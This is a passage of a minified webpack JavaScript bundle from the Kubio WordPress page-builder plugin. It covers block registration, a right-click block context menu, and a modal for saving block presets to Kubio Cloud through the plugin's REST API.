e[t.toString()]=!0}(e,a):"number"===i&&function(e,t){e[t]=!0}(e,a)}}return function(){for(var o=arguments.length,n=Array(o),a=0;a<o;a++)n[a]=arguments[a];var i=new e;t(i,n);var r=[];for(var s in i)i[s]&&r.push(s);return r.join(" ")}}();e.exports?(n.default=n,e.exports=n):void 0===(o=function(){return n}.apply(t,[]))||(e.exports=o)}()},3967:(e,t)=>{var o;!function(){"use strict";var n={}.hasOwnProperty;function a(){for(var e="",t=0;t<arguments.length;t++){var o=arguments[t];o&&(e=r(e,i(o)))}return e}function i(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return a.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var t="";for(var o in e)n.call(e,o)&&e[o]&&(t=r(t,o));return t}function r(e,t){return t?e?e+" "+t:e+t:e}e.exports?(a.default=a,e.exports=a):void 0===(o=function(){return a}.apply(t,[]))||(e.exports=o)}()}},t={};function o(n){var a=t[n];if(void 0!==a)return a.exports;var i=t[n]={exports:{}};return e[n](i,i.exports,o),i.exports}o.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return o.d(t,{a:t}),t},o.d=(e,t)=>{for(var n in t)o.o(t,n)&&!o.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),o.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var n={};(()=>{"use strict";o.r(n),o.d(n,{KubioBlockAppender:()=>qN,blockParts:()=>RN,getBlocks:()=>YN,getBlocksByName:()=>KN,getBlocksMap:()=>VN,getNamesOfBlocks:()=>zN,getProBlocks:()=>$N,registerBlockWithStyle:()=>Fi,replaceBlock:()=>Vi,useContactFormApi:()=>Xi,useQueryLayout:()=>Ei});var e={};o.r(e),o.d(e,{metadata:()=>wn,name:()=>Pn,settings:()=>An});var t={};o.r(t),o.d(t,{metadata:()=>Hi,settings:()=>Ui,template:()=>Mi,useQueryLayout:()=>Ei});var a={};o.r(a),o.d(a,{metadata:()=>rr,settings:()=>sr,template:()=>Sa});var i={};o.r(i),o.d(i,{metadata:()=>Mr,settings:()=>Wr});var r={};o.r(r),o.d(r,{metadata:()=>as,settings:()=>is});var s={};o.r(s),o.d(s,{metadata:()=>Ls,settings:()=>Ms});var l={};o.r(l),o.d(l,{metadata:()=>ru,settings:()=>lu});var u={};o.r(u),o.d(u,{metadata:()=>Gc,settings:()=>Fc,template:()=>Gu});var c={};o.r(c),o.d(c,{metadata:()=>sd,settings:()=>ld});var p={};o.r(p),o.d(p,{metadata:()=>Td,settings:()=>Sd});var d={};o.r(d),o.d(d,{metadata:()=>cm,settings:()=>pm});var m={};o.r(m),o.d(m,{metadata:()=>Rh,settings:()=>Dh,template:()=>gm});var h={};o.r(h),o.d(h,{metadata:()=>zh,settings:()=>Vh});var b={};o.r(b),o.d(b,{metadata:()=>eb,settings:()=>tb});var g={};o.r(g),o.d(g,{metadata:()=>ib,settings:()=>rb});var y={};o.r(y),o.d(y,{metadata:()=>yb,settings:()=>kb});var k={};o.r(k),o.d(k,{metadata:()=>wb,settings:()=>Pb});var f={};o.r(f),o.d(f,{metadata:()=>Ob,settings:()=>Rb});var v={};o.r(v),o.d(v,{metadata:()=>ry,settings:()=>sy});var x={};o.r(x),o.d(x,{metadata:()=>Vy,settings:()=>Yy});var C={};o.r(C),o.d(C,{metadata:()=>Xy,settings:()=>Qy});var I={};o.r(I),o.d(I,{metadata:()=>bk,settings:()=>yk});var E={};o.r(E),o.d(E,{metadata:()=>Ek,settings:()=>Tk});var T={};o.r(T),o.d(T,{metadata:()=>Lk,settings:()=>Gk});var S={};o.r(S),o.d(S,{metadata:()=>$k,settings:()=>Kk});var w={};o.r(w),o.d(w,{metadata:()=>zf,settings:()=>Vf});var P={};o.r(P),o.d(P,{metadata:()=>r_,settings:()=>s_});var A={};o.r(A),o.d(A,{metadata:()=>A_,settings:()=>j_});var j={};o.r(j),o.d(j,{metadata:()=>O_,settings:()=>R_});var B={};o.r(B),o.d(B,{metadata:()=>F_,settings:()=>z_});var N={};o.r(N),o.d(N,{metadata:()=>dv,settings:()=>mv});var O={};o.r(O),o.d(O,{metadata:()=>Iv,settings:()=>Ev});var R={};o.r(R),o.d(R,{metadata:()=>Yx,settings:()=>Kx});var D={};o.r(D),o.d(D,{metadata:()=>CC,settings:()=>IC});var L={};o.r(L),o.d(L,{metadata:()=>jC,settings:()=>BC});var M={};o.r(M),o.d(M,{metadata:()=>GC,settings:()=>UC});var W={};o.r(W),o.d(W,{metadata:()=>JC,settings:()=>eI});var H={};o.r(H),o.d(H,{metadata:()=>GI,settings:()=>UI});var G={};o.r(G),o.d(G,{metadata:()=>YI,settings:()=>$I});var U={};o.r(U),o.d(U,{metadata:()=>QI,settings:()=>ZI});var F={};o.r(F),o.d(F,{metadata:()=>nE,settings:()=>aE});var z={};o.r(z),o.d(z,{metadata:()=>cE,settings:()=>pE});var V={};o.r(V),o.d(V,{metadata:()=>LE,settings:()=>ME});var Y={};o.r(Y),o.d(Y,{metadata:()=>YE,settings:()=>$E});var $={};o.r($),o.d($,{metadata:()=>ET,settings:()=>TT});var K={};o.r(K),o.d(K,{metadata:()=>BT,settings:()=>NT});var q={};o.r(q),o.d(q,{metadata:()=>qT,settings:()=>XT});var X={};o.r(X),o.d(X,{metadata:()=>KS,settings:()=>qS});var Q={};o.r(Q),o.d(Q,{metadata:()=>dw,settings:()=>mw});var Z={};o.r(Z),o.d(Z,{metadata:()=>gw,settings:()=>yw});var J={};o.r(J),o.d(J,{metadata:()=>$w,settings:()=>Kw});var ee={};o.r(ee),o.d(ee,{metadata:()=>Jw,settings:()=>eP});var te={};o.r(te),o.d(te,{metadata:()=>sP,name:()=>lP,settings:()=>uP});var oe={};o.r(oe),o.d(oe,{metadata:()=>EP,settings:()=>TP});var ne={};o.r(ne),o.d(ne,{metadata:()=>jP,settings:()=>BP});var ae={};o.r(ae),o.d(ae,{metadata:()=>RP,settings:()=>FP});var ie={};o.r(ie),o.d(ie,{metadata:()=>zP,settings:()=>YP});var re={};o.r(re),o.d(re,{metadata:()=>aA,settings:()=>iA});var se={};o.r(se),o.d(se,{metadata:()=>lA,settings:()=>uA});var le={};o.r(le),o.d(le,{metadata:()=>kA,settings:()=>fA});var ue={};o.r(ue),o.d(ue,{metadata:()=>xA,settings:()=>CA});var ce={};o.r(ce),o.d(ce,{metadata:()=>GA,settings:()=>UA});var pe={};o.r(pe),o.d(pe,{metadata:()=>tj,settings:()=>oj});var de={};o.r(de),o.d(de,{metadata:()=>yj,settings:()=>kj});var me={};o.r(me),o.d(me,{metadata:()=>Mj,settings:()=>Wj});var he={};o.r(he),o.d(he,{metadata:()=>Jj,settings:()=>eB});var be={};o.r(be),o.d(be,{metadata:()=>yB,settings:()=>kB});var ge={};o.r(ge),o.d(ge,{metadata:()=>SB,settings:()=>wB});var ye={};o.r(ye),o.d(ye,{metadata:()=>WB,settings:()=>HB});var ke={};o.r(ke),o.d(ke,{metadata:()=>ZB,settings:()=>JB});var fe={};o.r(fe),o.d(fe,{metadata:()=>uN,settings:()=>cN});var _e={};o.r(_e),o.d(_e,{metadata:()=>dN,settings:()=>mN});var ve={};o.r(ve),o.d(ve,{metadata:()=>hN,settings:()=>bN});var xe={};o.r(xe),o.d(xe,{metadata:()=>gN,settings:()=>yN});var Ce={};o.r(Ce),o.d(Ce,{metadata:()=>kN,settings:()=>fN});var Ie={};o.r(Ie),o.d(Ie,{metadata:()=>_N,settings:()=>xN});var Ee={};o.r(Ee),o.d(Ee,{metadata:()=>CN,settings:()=>IN});var Te={};o.r(Te),o.d(Te,{metadata:()=>EN,settings:()=>TN});var Se={};o.r(Se),o.d(Se,{metadata:()=>SN,settings:()=>wN});var we={};o.r(we),o.d(we,{metadata:()=>PN,settings:()=>AN});const Pe=window.wp.hooks,Ae=window.lodash;var je=o.n(Ae);window.kubio.scripts,(0,Pe.addFilter)("blocks.registerBlockType","core/appearance-effect/attribute",(function(e){var t;return null!=e&&null!==(t=e.name)&&void 0!==t&&t.includes("kubio")&&(e.attributes={...e.attributes,appearanceEffect:{type:"string"}}),e}));const Be=window.kubio.constants,Ne=window.kubio.core,Oe=window.kubio.inspectors,Re=window.wp.components,De=window.wp.compose,Le=window.wp.data;var Me=o(9307);const We=window.wp.i18n;var He=o(3967),Ge=o.n(He);const Ue=({element:e,executionDelay:t=300,scrollInView:o=!1}={})=>{const n=(0,Me.useRef)(),a=(0,Me.useCallback)((e=>{if(e)return e.classList.add("kubio-focus-animation"),o&&e.scrollIntoView({behavior:"smooth"}),n.current=setTimeout((()=>{e.classList.remove("kubio-focus-animation")}),2e3),()=>clearTimeout(n)}),[o]),i=(0,Me.useCallback)((e=>{(0,Ae.isString)(e)&&(e=document.querySelector(e)),a(e)}),[a]),r=(0,Ne.useDebounce)(i,t);return(0,Me.useEffect)((()=>(e&&a(e),()=>n.current&&clearTimeout(n.current))),[e,a,n]),{showOverlay:a,debouncedShowOverlay:r}},Fe=window.kubio.coreHooks,ze=e=>{e&&(e.preventDefault(),e.stopPropagation())},Ve={label:"edit",action:async({dataHelper:e,hooks:t,event:o})=>{ze(o);const{selectBlock:n=je().noop,onSelectPanel:a=je().noop}=t;await n(null==e?void 0:e.clientId),a("content",".kubio-section-layout-panel")}},Ye={label:(0,We.__)("Duplicate","kubio"),action:async({dataHelper:e,event:t})=>{ze(t),e.duplicate()},enabled:e=>{const{hasBlockSupport:t,canInsertBlockType:o}=(0,Le.select)("core/block-editor"),{block:n}=e.block,a=e.withParent().clientId;return!!n&&t(n.name,"multiple",!0)&&o(n.name,a)}},$e={label:(0,We.__)("Delete","kubio"),action:async({dataHelper:e,hooks:t,event:o})=>{ze(o);const{removeBlock:n=je().noop,selectBlock:a=je().noop}=t;await a(),n(null==e?void 0:e.clientId,!1)},enabled:e=>{const{canRemoveBlocks:t}=(0,Le.select)("core/block-editor"),{block:o}=e,n=e.withParent().clientId;return!!o&&t([e.clientId],n)}},Ke={label:e=>"image"===e.getStyle("background").type?(0,We.__)("Change image","kubio"):(0,We.__)("Change video","kubio"),enabled:e=>{var t;return["image","video"].includes(null===(t=e.getStyle("background"))||void 0===t?void 0:t.type)},action:async({dataHelper:e,hooks:t,event:o})=>{ze(o);const{selectBlock:n=je().noop,onSelectPanel:a=je().noop}=t,i=e.getStyle("background",{});await n(null==e?void 0:e.clientId),a("content");try{const t=await(0,Fe.openMediaPickerPopup)(null,{title:"image"===i.type?(0,We.__)("Select image","kubio"):(0,We.__)("Select video","kubio"),allowedTypes:"image"===i.type?["image"]:["video"]});e.group((()=>{let o={...i};"image"===i.type?(o=je().set({...i},"image.0.useFeaturedImage",!1),o=je().set(i,"image.0.source.url",t.url)):(o=je().set({...i},"video.type","internal"),o=je().set(i,"video.internal.url",t.url)),e.setStyle("background",o)})),a("style",".kubio-section-background-panel")}catch(e){a("style",".kubio-section-background-panel")}}},qe={label:(0,We.__)("Change background","kubio"),action:async({dataHelper:e,hooks:t,event:o})=>{ze(o);const{selectBlock:n=je().noop,onSelectPanel:a=je().noop}=t;await n(null==e?void 0:e.clientId),setTimeout((()=>{a("style",".kubio-section-background-panel")}),1)}},Xe=[[Ve],[Ye,$e]],Qe={EDIT:Ve,DUPLICATE:Ye,DELETE:$e,CHANGE_BACKGROUND:qe,CHANGE_IMAGE_VIDEO:Ke},Ze=window.kubio.utils;var Je=o(5893);const et=[".h-template-part-overlay",".kubio-dropdown-with-hover",".h-template-part-overlay__container",".wp-block.is-selected *:not(.wp-block).rich-text, .wp-block.is-selected.rich-text"],tt=[".h-template-part-overlay",".h-template-part-overlay__container"],ot=(0,Me.memo)((()=>{var e;const{dataHelper:t}=(0,Ne.useKubioBlockContext)(),{block:o}=t,n=o.name;let a="kubio"===n.split("/")[0]||"core"===n.split("/")[0];return a=(0,Pe.applyFilters)("kubio.allowedRightClick",a,t),a&&null!==(e=window)&&void 0!==e&&e.isKubioBlockEditor?(0,Je.jsx)(at,{dataHelper:t}):(0,Je.jsx)(Je.Fragment,{})})),nt=(0,Ze.wpVersionCompare)("6.3.1","<"),at=(0,Me.memo)((({dataHelper:e})=>{const t=(0,Me.useRef)(),o=(0,Me.useRef)(),n="kubio-right-click-menu",a=`${n}__popover`,{ownerDocument:i}=(0,Ne.useOwnerDocumentContext)(),[r,s]=(0,Me.useState)({top:0,left:0}),[l,u]=(0,Me.useState)(!1),c=(0,Me.useRef)(),p=()=>{m(!1)},d=(0,Me.useRef)(),m=(0,Me.useCallback)((e=>{u(e),e&&(clearTimeout(d.current),d.current=setTimeout((()=>{var e;null==c||null===(e=c.current)||void 0===e||e.click()}),100))}),[]),h=(0,Pe.applyFilters)("kubio.rightClickMenu.menuItems",Xe,null==e?void 0:e.blockName),b=!(0===h.length)&&l,g=(0,Me.useCallback)((function(e){if(et.find((t=>e.target.closest(t))))return void(tt.find((t=>e.target.closest(t)))&&e.preventDefault());e.preventDefault(),e.stopPropagation();const t=e.pageX<10?e.pageX+25:e.pageX+15,o=e.pageY+10;e.target.closest(".wp-block-kubio-downarrow .wp-block-kubio-icon")?(e=>{const t=e.target.closest(".wp-block-kubio-downarrow"),o=new MouseEvent("contextmenu",{clientX:e.pageX,clientY:e.pageY});t.dispatchEvent(o)})(e):(s({top:o,left:t}),m(!0))}),[m]),y=(0,Me.useCallback)((e=>{3===e.which&&(et.find((t=>e.target.closest(t)))||e.preventDefault())}),[]);(0,Me.useEffect)((()=>{if(i){const t=null==i?void 0:i.querySelector(`[data-block='${e.clientId}']`);if(t)return t.addEventListener("contextmenu",g),t.addEventListener("mousedown",y),()=>{t.removeEventListener("contextmenu",g),t.removeEventListener("mousedown",y)}}}),[e.clientId,g,y,i]);const k=(0,Me.useRef)(),[,f]=(0,Me.useState)();(0,Me.useEffect)((()=>{l&&f(Math.random())}),[l]),(0,Me.useEffect)((()=>()=>{clearTimeout(k.current)}),[]);const _=(()=>{if(!t.current)return;const e={};var o;return nt&&(e.ownerDocument=null==t||null===(o=t.current)||void 0===o?void 0:o.ownerDocument),{contextElement:t.current,getBoundingClientRect(){var e;return null==t||null===(e=t.current)||void 0===e?void 0:e.getBoundingClientRect()},...e}})(),v={position:"bottom right",placement:"bottom-start",flip:!0,animate:!1,className:a,anchor:_},x=(0,Me.useCallback)((()=>{m(!1)}),[m]);(0,Ne.useOnClickOutside)(o,x);const C=(0,Ne.useDebounce)((()=>{var e;null!==(e=o.current)&&void 0!==e&&e.matches(":hover")||m(!1)}),500),I=null==i?void 0:i.body;return b&&I?(0,Me.createPortal)((0,Je.jsx)("div",{ref:t,className:Ge()(n),style:r,children:t.current&&(0,Je.jsx)(Re.Dropdown,{className:"kubio-right-click-dropdown-with-options",focusOnMount:!1,popoverProps:v,onToggle:m,renderToggle:({onToggle:e,isOpen:t}={})=>(0,Je.jsx)("button",{className:"kubio-right-click",ref:c,onClick:()=>{t||e()}}),renderContent:()=>(0,Je.jsx)("div",{ref:o,className:`${a}__content`,onMouseLeave:C,children:(0,Je.jsx)(it,{dataHelper:e,menuItems:h,onClosePopup:p,ownerDocument:i})})},r.top+"--"+r.left)}),I):(0,Je.jsx)(Je.Fragment,{})}));function it({dataHelper:e,menuItems:t=[],onClosePopup:o,ownerDocument:n}){const a=(0,Le.useDispatch)("core/block-editor"),i=(0,Le.useDispatch)("core"),r=(0,Le.useSelect)((e=>e("core/block-editor"))),s=(0,Ne.useActiveMedia)(),[,l]=(0,Oe.useCurrentInspectorTab)(),{debouncedShowOverlay:u}=Ue(),{openSidebar:c=je().noop}=(0,Le.useDispatch)(Be.STORE_KEY)||{},p=(0,Me.useCallback)(((e,t)=>{c("block-inspector"),l(e),u(t)}),[u,c,l]),d={...r,...a,...i,onSelectPanel:p},m=(0,Ne.useDeepMemo)((()=>{let o=je().cloneDeep(t);Array.isArray(je().get(o,"0"))||(o=[o]);const n=[];return o.forEach((t=>{const o=t.filter((t=>{let o=je().get(t,"enabled",!0);return"function"==typeof o&&(o=o(e,d)),o}));o.length>0&&n.push(o)})),n}),[]);return(0,Je.jsx)(Je.Fragment,{children:m.map(((t,a)=>(0,Je.jsx)(Re.MenuGroup,{children:t.map(((t,i)=>{var r;let l=null==t?void 0:t.label;(0,Ae.isFunction)(l)&&(l=l(e));const u=(0,We.sprintf)(// translators: %s: block title // translators: %s: block title (0,We.__)("Edit %s","kubio"),null==e||null===(r=e.block)||void 0===r?void 0:r.title.toLowerCase()),c="edit"===(null==t?void 0:t.label)?u:l,p=(0,Je.jsx)(Re.MenuItem,{onClick:a=>{null==t||t.action({dataHelper:e,hooks:d,event:a,activeMedia:s,ownerDocument:n}),o()},children:c},`${a} - ${i}`);return(0,Je.jsx)("div",{children:p},`${a} - ${i}`)}))},a)))})}const rt=(0,De.createHigherOrderComponent)((e=>t=>t.isKubioAIMode?(0,Je.jsx)(e,{...t}):(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ot,{}),(0,Je.jsx)(e,{...t})]})),"withRightClick");(0,Pe.addFilter)("editor.BlockListBlock","kubio.rightClick",rt,3);const st=window.wp.blockEditor,lt=window.kubio.pro,ut=window.kubio.controls,ct=window.wp.apiFetch;var pt=o.n(ct);const dt=e=>{const t=e[0].replace("kubio/","");if(Ze.PRO_BLOCKS.includes(t))return!0;if(!(0,Ae.isEmpty)(e[2])){let t=!1;return e[2].some((e=>(dt(e)&&(t=!0),!1))),t}return!1},mt=e=>(null==e?void 0:e.blocks)||[],ht=[{label:(0,We.__)("Add new","kubio"),value:"add_new"},{label:(0,We.__)("Update","kubio"),value:"update"}],bt=window.kubio.globalData,gt=window.wp.blocks,{createContext:yt,useContext:kt}=o(9307),ft=yt(),_t=["kubio/header","kubio/footer","kubio/section"],vt=(0,Me.memo)((({clientId:e,onClose:t,children:o})=>{var n;const[a,i]=(0,Me.useState)({isVisible:!1,isValid:!0,name:null,category:null,screenshot:null,screenshot_preview:null,editState:"add_new",selectedPreset:null}),[r,s,l]=(0,Ne.useKubioCloudConnect)(),{sectionPresets:u=[],patternCategories:c=[],currentBlockPreview:p=null,isTemplatePart:d=!1,templatePartEntity:m=null,blockPresets:h=[]}=(0,Le.useSelect)((t=>{var o;const{getSettings:n=je().noop}=t(Be.STORE_KEY)||{},{getBlock:a}=t("core/block-editor"),{getCurrentTheme:i,getEditedEntityRecord:r,getEntityRecord:s}=t("core"),l=n(),u=null==l||null===(o=l.__experimentalBlockPatterns)||void 0===o?void 0:o.filter((e=>e.isGutentagPattern)),c=(null==l?void 0:l.kubioBlockPresets)||[],p=a(e);let d;const m=["kubio/header","kubio/footer"].includes(null==p?void 0:p.name);if(m){var h,b;const e=`${null===(h=i())||void 0===h?void 0:h.stylesheet}//${je().get(p,"attributes.slug")}`;if(d=r("postType","wp_template_part",e),je().isEmpty(null===(b=d)||void 0===b?void 0:b.blocks)){var g;const t=s("postType","wp_template_part",e),o=(0,gt.parse)(null==t||null===(g=t.content)||void 0===g?void 0:g.raw);d.blocks=o}}return{sectionPresets:u,patternCategories:l.__experimentalBlockPatternCategories,currentBlockPreview:p,isTemplatePart:m,templatePartEntity:d,blockPresets:c}}),[]),{globalData:b}=(null===(n=(0,bt.useKubioGlobalDataContext)())||void 0===n?void 0:n.global)||{},g=p.name;let y=p.name.replace("kubio/","").replace("-"," ");y=y[0].toUpperCase()+y.slice(1);const k=_t.includes(g),f={"kubio/section":"kubio-content","kubio/header":"kubio-header","kubio/footer":"kubio-footer"},_=(0,Me.useMemo)((()=>c.filter((({cloudId:e,name:t})=>!!e&&t.split("/")[0]===f[g])).map((({cloudId:e,label:t})=>({value:e,label:t})))),[c,g]),v=(0,Me.useMemo)((()=>{const e=je().get(b,"globalStyle",{});return{theme:{colors:je().get(b,"colors",[]).map((({color:e})=>`rgb(${e.join(",")})`)),globalStyle:e}}}),[b]),x=(0,Me.useMemo)((()=>({state:a,setState:i,sectionPresets:u,patternCategories:c,onClose:t,currentBlockPreview:p,isTemplatePart:d,templatePartEntity:m,blockName:g,blockNameLabel:y,currentBlockSupportsCategory:k,categoryOptions:_,blockPresets:h,globalPresetData:v,apiData:r,connectToKubioCloud:s,disconnectFromKubioCloud:l,blocksForInserter:_t})),[a,i,u,c,p,d,m,g,y,k,_,h,v,r,s,l,_t]);return(0,Je.jsx)(ft.Provider,{value:x,children:o})})),xt=()=>kt(ft),Ct=(0,Me.memo)((()=>{const{state:e,setState:t}=xt();return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)("div",{className:"kubio-save-snippet-popup__option",children:[(0,Je.jsx)("span",{children:(0,We.__)("Block screenshot","kubio")}),(0,Je.jsx)(Re.FormFileUpload,{type:"file",onChange:o=>{const n=o.target.files;if(n.length<1)return;const a=n[0];if(a.type&&!a.type.startsWith("image/"))return void console.log("File is not an image.",a.type,a);const i=new window.FileReader;let r=null;i.addEventListener("load",(o=>{r=o.target.result,t({...e,screenshot:r,screenshot_preview:null})})),i.readAsDataURL(a)},accept:"image/*",children:(0,Je.jsxs)("span",{className:"components-button is-link",children:[e.screenshot&&(0,We.__)("Replace","kubio"),!e.screenshot&&(0,We.__)("Upload","kubio")]})})]}),(0,Je.jsxs)("div",{className:"kubio-save-snippet-popup__media-placeholder",children:[e.screenshot&&(0,Je.jsx)("img",{src:e.screenshot,alt:"",className:"kubio-save-snippet-popup__screenshot_preview"}),e.screenshot_preview&&(0,Je.jsx)("img",{src:e.screenshot_preview,alt:"",className:"kubio-save-snippet-popup__screenshot_preview"})]})]})})),It=(0,Me.memo)((()=>{const{state:e,setState:t,categoryOptions:o,currentBlockSupportsCategory:n}=xt();return n?(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Category","kubio"),value:e.category,options:o,onChange:o=>{t({...e,category:o})}}):(0,Je.jsx)(Je.Fragment,{})})),Et=(0,Me.memo)((()=>{const{state:e,setState:t,blockNameLabel:o}=xt();return(0,Je.jsx)("div",{className:"kubio-save-snippet-popup__option",children:(0,Je.jsx)(ut.InputControl,{label:(0,We.__)("Block preset name","kubio"),autoComplete:"off",inline:!0,placeholder:(0,We.__)("Ex: ","kubio")+o,value:e.name,onChange:o=>{o.length>100||o.match(/[^A-Za-z0-9 \-_]+/)?t({...e,isValid:!1}):t({...e,name:o,isValid:!0})}})})})),Tt=(0,Me.memo)((()=>{const{state:e}=xt();return e.isValid?(0,Je.jsx)(Je.Fragment,{}):(0,Je.jsx)("span",{className:"kubio-save-snippet-popup__name-error",children:(0,We.__)("Only letters and numbers are allowed (Max 100 characters).","kubio")})})),St=(0,Me.memo)((()=>{const{createErrorNotice:e,createSuccessNotice:t}=(0,Ne.useKubioNotices)();let{state:o,currentBlockPreview:n,templatePartEntity:a,isTemplatePart:i,onClose:r,globalPresetData:s,apiData:l,blocksForInserter:u}=xt();const c="connected"!==l.status||(0,Ae.isEmpty)(o.screenshot)||(0,Ae.isEmpty)(o.name)||!o.isValid;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Tt,{}),(0,Je.jsx)(Et,{}),(0,Je.jsx)(It,{}),(0,Je.jsx)(Ct,{}),(0,Je.jsx)("div",{className:"kubio-save-snippet-popup__option d-flex justify-content-end",children:(0,Je.jsx)(Re.Button,{variant:"primary",onClick:l=>{l.target.classList.add("is-busy"),n=je().cloneDeep(n),(0,Ze.walkBlocks)(n,(e=>(0,Pe.applyFilters)("kubio.savePresetInCloud.beforeSave",e))),i&&(n.innerBlocks=mt(a));const c=(0,Ze.getCleanBlock)(n,{removeKubioIds:!1});pt()({path:"/kubio/v1/snippet",method:"POST",data:{name:o.name,snippet:c,category:o.category,is_pro:dt(c),screenshot:o.screenshot,globalData:s}}).then((n=>{const a=null==n?void 0:n.data;if("success"===a.status){t(o.name+(0,We.__)(" saved successfully!","kubio"));const e=a.body,n=null==e?void 0:e.component;u.includes(n)?(0,Ze.registerPattern)(e):(0,Ze.registerPreset)(e),r()}else e((0,We.__)("An error occurred. ","kubio")+o.name+(0,We.__)(" was not saved!","kubio"))})).catch((t=>{console.error(t),e((0,We.__)("An error occurred. ","kubio")+o.name+(0,We.__)(" was not saved!","kubio"))}))},disabled:c,children:(0,We.__)("Save block preset","kubio")})})]})})),wt=(0,Me.memo)((()=>{const{createErrorNotice:e,createSuccessNotice:t}=(0,Ne.useKubioNotices)();let{state:o,blockName:n,currentBlockPreview:a,templatePartEntity:i,isTemplatePart:r,onClose:s,currentBlockSupportsCategory:l,setState:u,sectionPresets:c,categoryOptions:p,blockPresets:d,globalPresetData:m,apiData:h,blocksForInserter:b}=xt();(0,Me.useEffect)((()=>{const e=je().get(a,"attributes.kubioAI.meta.cloudPresetId");e&&_(parseInt(e))}),[]);const g="connected"!==h.status||(0,Ae.isEmpty)(o.name)||!o.isValid,y=(0,Me.useCallback)((()=>{const e=c.map((e=>({label:e.title,value:e.cloudPresetId,type:e.name,categoryCloudId:e.categoryCloudId})));return p.map((({value:t,label:o})=>({label:o,items:e.filter((e=>e.categoryCloudId===t))}))).filter((({items:e})=>e.length>0))}),[c,p]),k=(0,Me.useCallback)((()=>d.filter((e=>e.component===n)).map((e=>({label:e.title,value:e.cloudPresetId})))),[d,n]),f=(0,Me.useMemo)((()=>l?y():k()),[l,y,k]),_=e=>{let t;if(t=l?c.find((t=>t.cloudPresetId===parseInt(e,10))):d.find((t=>t.cloudPresetId===parseInt(e,10))),!t)return;const n={...o,name:t.title,selectedPreset:t.cloudPresetId,screenshot:null,screenshot_preview:t.screenshot};l&&(n.category=t.categoryCloudId),u(n)};return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Tt,{}),(0,Je.jsx)(ut.GutentagSelectControl,{value:o.selectedPreset,label:(0,We.__)("Update preset","kubio"),className:"kubio-save-snippet-popup__option",options:f,onChange:_,withInput:!0}),(0,Je.jsx)(Et,{}),(0,Je.jsx)(It,{}),(0,Je.jsx)(Ct,{}),(0,Je.jsx)("div",{className:"kubio-save-snippet-popup__option d-flex justify-content-end",children:(0,Je.jsx)(Re.Button,{variant:"primary",onClick:n=>{n.target.classList.add("is-busy"),a=je().cloneDeep(a),(0,Ze.walkBlocks)(a,(e=>(0,Pe.applyFilters)("kubio.savePresetInCloud.beforeSave",e))),r&&(a.innerBlocks=mt(i));const l=(0,Ze.getCleanBlock)(a,{removeKubioIds:!1});pt()({path:"/kubio/v1/snippet/update",method:"POST",data:{name:o.name,snippet:l,category:o.category,is_pro:dt(l),screenshot:o.screenshot,screenshot_preview:o.screenshot_preview,id:o.selectedPreset,globalData:m}}).then((n=>{const a=null==n?void 0:n.data;if("success"===a.status){t(o.name+(0,We.__)(" saved successfully!","kubio"));const e=a.body,n=null==e?void 0:e.component;b.includes(n)?(0,Ze.registerPattern)(e,!0):(0,Ze.registerPreset)(e,!0),s()}else e((0,We.__)("An error occurred. ","kubio")+o.name+(0,We.__)(" was not saved!","kubio"))})).catch((t=>{console.error(t),e((0,We.__)("An error occurred. ","kubio")+o.name+(0,We.__)(" was not saved!","kubio"))}))},disabled:g,children:(0,We.__)("Update block preset","kubio")})})]})})),Pt=()=>{const{state:e,setState:t,onClose:o,blockNameLabel:n,apiData:a,connectToKubioCloud:i,disconnectFromKubioCloud:r}=xt();let s,l;switch(s="connected"!==a.status?(0,Je.jsx)(Re.Button,{onClick:i,variant:"primary",target:"blank",className:"kubio-save-snippet-popup__connect-button",children:(0,We.__)("Connect to Kubio Cloud","kubio")}):(0,Je.jsxs)("div",{className:"kubio-save-snippet-popup__option kubio-save-snippet-popup__option-header",children:[(0,Je.jsxs)("span",{className:"kubio-save-snippet-popup__account",children:[(0,We.__)("Hello, ","kubio"),(0,Je.jsx)("em",{children:a.name})]}),(0,Je.jsx)(Re.Button,{onClick:r,variant:"link",children:(0,We.__)("Change account","kubio")})]}),e.editState){case"add_new":l=(0,Je.jsx)(St,{});break;case"update":l=(0,Je.jsx)(wt,{})}return(0,Je.jsx)(Re.Modal,{onRequestClose:o,className:"kubio-save-snippet-popup",title:(0,We.__)("Save block preset in Kubio Cloud","kubio"),children:(0,Je.jsxs)("div",{className:"kubio-save-snippet-popup__content",children:[s,(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsxs)("h2",{children:[(0,Je.jsx)("span",{children:(0,We.__)("Block: ","kubio")}),(0,Je.jsx)("b",{children:n})]})}),(0,Je.jsx)(ut.ToggleGroup,{value:e.editState,onChange:o=>{t({...e,editState:o,name:null,category:null,selectedPreset:null,screenshot:null,screenshot_preview:null})},options:ht}),l]})})},At=(0,Me.memo)((({onClose:e,setModalIsVisible:t})=>(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Re.MenuGroup,{className:"kubio-block-settings-control kubio-block-settings-save-preset",children:(0,Je.jsx)(Re.MenuItem,{tag:Re.MenuItem,onClick:()=>{e(),t(!0)},children:(0,We.__)("Save block preset","kubio")})})}))),jt=(0,De.createHigherOrderComponent)((e=>t=>{const[o,n]=(0,Me.useState)(!1),a=(0,Ze.getShowInternalFeatures)("cloud"),{clientId:i,isSelected:r}=t;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(e,{...t}),a&&r&&(0,Je.jsx)(st.BlockSettingsMenuControls,{children:({onClose:e})=>(0,Je.jsx)(At,{onClose:e,setModalIsVisible:n})}),o&&(0,Je.jsx)(vt,{onClose:()=>n(!1),clientId:i,children:(0,Je.jsx)(Pt,{})})]})}));(0,Pe.addFilter)("editor.BlockListBlock","kubio.withSaveBlockPreset",jt,9999);const 